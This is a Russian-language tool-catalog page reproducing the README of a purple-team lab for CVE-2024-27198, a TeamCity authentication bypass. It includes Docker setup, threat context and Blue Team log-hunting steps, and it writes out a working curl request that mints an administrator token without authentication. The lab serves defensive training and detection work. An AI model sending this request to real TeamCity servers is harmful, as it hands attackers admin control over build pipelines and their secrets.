Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-27198_Lab — Лаборатория для CVE-2024-27198 | Kitploit
Инструменты/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеРазведка угрозОбнаружение ВторженийОбучение и ОбразованиеРеагирование на ИнцидентыАнализ ЖурналовЛаборатории и Практика
251 месяц назадЕщё не проверено
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Лаборатория для CVE-2024-27198

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться


CVE-2024-27198_Lab

Лаборатория исследования уязвимостей и демонстрации Purple Team для обхода аутентификации JetBrains TeamCity (CVE-2024-27198)

Содержание

  • О проекте
    • Сведения о CVE
    • Используемые технологии
  • Threat Intelligence и OSINT
    • Реальное воздействие и эксплуатация
    • Почему эта CVE критична
  • Начало работы
    • Предварительные требования
    • Установка и настройка лаборатории
  • Шаги для воспроизведения и эксплуатации
    • Портал входа
    • Проверка уязвимости
    • Генерация токена администратора
    • Проверка токена
    • Удаление токена
    • Blue Team: поиск IoC в логах
    • Остановка контейнеров
  • Меры защиты и обнаружение
    • Технический анализ (CWE-288)
    • Индикаторы компрометации (IoCs)
    • Обнаружение по логам (правило Sigma)
    • Живая демонстрация SIEM (Blue Team)
    • Устранение уязвимости
    • Сетевое обнаружение (правило Suricata / Snort)
    • Проверка исправленной версии
  • Ссылки

О проекте

TeamCity предоставляет страницу управления токенами, доступную только администраторам, которая не защищена аутентификацией. Это позволяет неаутентифицированному пользователю сгенерировать токен доступа для администратора, если ему удастся найти ID существующего пользователя.

Этот репозиторий содержит полностью воспроизводимую лабораторию в Docker с уязвимым (:8111) и исправленным (:8112) окружениями TeamCity, автоматизированными скриптами эксплуатации (exploit.py), пошаговыми руководствами по поиску в логах для Blue Team и симулятором событий SIEM в реальном времени (siem_simulator.py).

Сведения о CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288 (Обход аутентификации с использованием альтернативного пути или канала)
  • CNA: JetBrains s.r.o.
  • Базовая оценка: 9.8 CRITICAL
  • Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    • AV:N — Сеть
    • AC:L — Низкая
    • PR:N — Не требуется
    • UI:N — Не требуется
    • S:U — Не изменяется
    • C:H — Высокое
    • I:H — Высокое
    • A:H — Высокое

Используемые технологии

  • Docker
  • Python
  • JetBrains TeamCity
  • Sigma
  • Suricata

Threat Intelligence и OSINT

Реальное воздействие и эксплуатация

  • Каталог CISA KEV: добавлен 7 марта 2024 года, что подтверждает активную эксплуатацию в реальных условиях.
  • Угрозы: эксплуатировалась несколькими группами программ-вымогателей и APT, в частности группой BianLian и вариантом программы-вымогателя Jasmin. Злоумышленники использовали этот обход для создания поддельных учётных записей администраторов, развёртывания вредоносных плагинов и выполнения произвольного кода (RCE) для горизонтального перемещения внутри сетей жертв.
  • Профиль цели: конвейеры CI/CD являются высокоценными целями (атаки на цепочку поставок). Компрометация TeamCity позволяет злоумышленникам внедрять вредоносный код в сборки программного обеспечения, похищать исходный код и извлекать секреты развёртывания (ключи AWS, сертификаты).

Почему эта CVE критична

Уязвимость кроется в механизме маршрутизации REST API. Добавляя определённые символы (например, ?jsp=/app/rest/...;.jsp) к неаутентифицированной конечной точке, злоумышленники могут заставить веб-сервер TeamCity перенаправить запрос на аутентифицированную конечную точку, обходя при этом фильтры безопасности. Для этого не требуется никаких предварительных знаний или доступа, что делает её чистой оценкой 9.8 по CVSS.

Начало работы

Чтобы развернуть локальную копию этой лабораторной работы, выполните следующие простые шаги.

Предварительные требования

  • Docker и Docker Compose
  • Python 3.10+
  • curl

Установка и настройка лабораторной среды

  1. Клонируйте репозиторий
    git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
    
  2. Перейдите в каталог
    cd CVE-2024-27198_Lab
    
  3. Запустите контейнеры
    docker compose up -d
    
  • Откройте уязвимый экземпляр TeamCity по адресу: http://localhost:8111
  • Откройте пропатченный экземпляр TeamCity по адресу: http://localhost:8112

Шаги для воспроизведения и эксплуатации

Портал входа

Имя пользователя:

admin

Пароль:

admin

Проверка уязвимости

GET-запрос к ресурсу без аутентификации:

curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users

Оба должны вернуть ошибку с кодом состояния 401.

Сгенерировать токен для пользователя admin

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Это должно вернуть токен примерно такого вида (токен каждый раз разный):

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Это должно вернуть ошибку со статус-кодом 401, поскольку исправленный экземпляр не содержит уязвимости.

Проверка токена

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Должен вернуть список пользователей.

Удаление токена

  1. Перейдите на http://localhost:8111 с учётной записью администратора.
  2. Нажмите на значок профиля в правом верхнем углу.
  3. Перейдите в Profile -> Access Tokens.
  4. Вы увидите токен "REDTEAM".
  5. Просто нажмите Delete рядом с токеном.

Blue Team: охота на IoC в логах (фактор скрытности)

Во время демонстрации в лаборатории вы можете показать масштабную находку Blue Team: по умолчанию эта уязвимость невероятно скрытна!

  1. Логи доступа Tomcat по умолчанию отключены в Docker-образе TeamCity, поэтому HTTP-запросы ;.jsp не логируются.
  2. Журнал аудита TeamCity не регистрирует создание токенов через REST API.

Так как же его поймать? Когда злоумышленник заметает следы! Когда злоумышленник удаляет свой вредоносный токен, чтобы скрыться, TeamCity всё же фиксирует это в логах.

Найдите, как злоумышленник заметает следы, в журналах аудита:

docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Вы увидите запись в журнале, указывающую на то, что токен «REDTEAM» был удалён).

Остановите контейнеры

docker compose down

Устранение и обнаружение

Скачать инструмент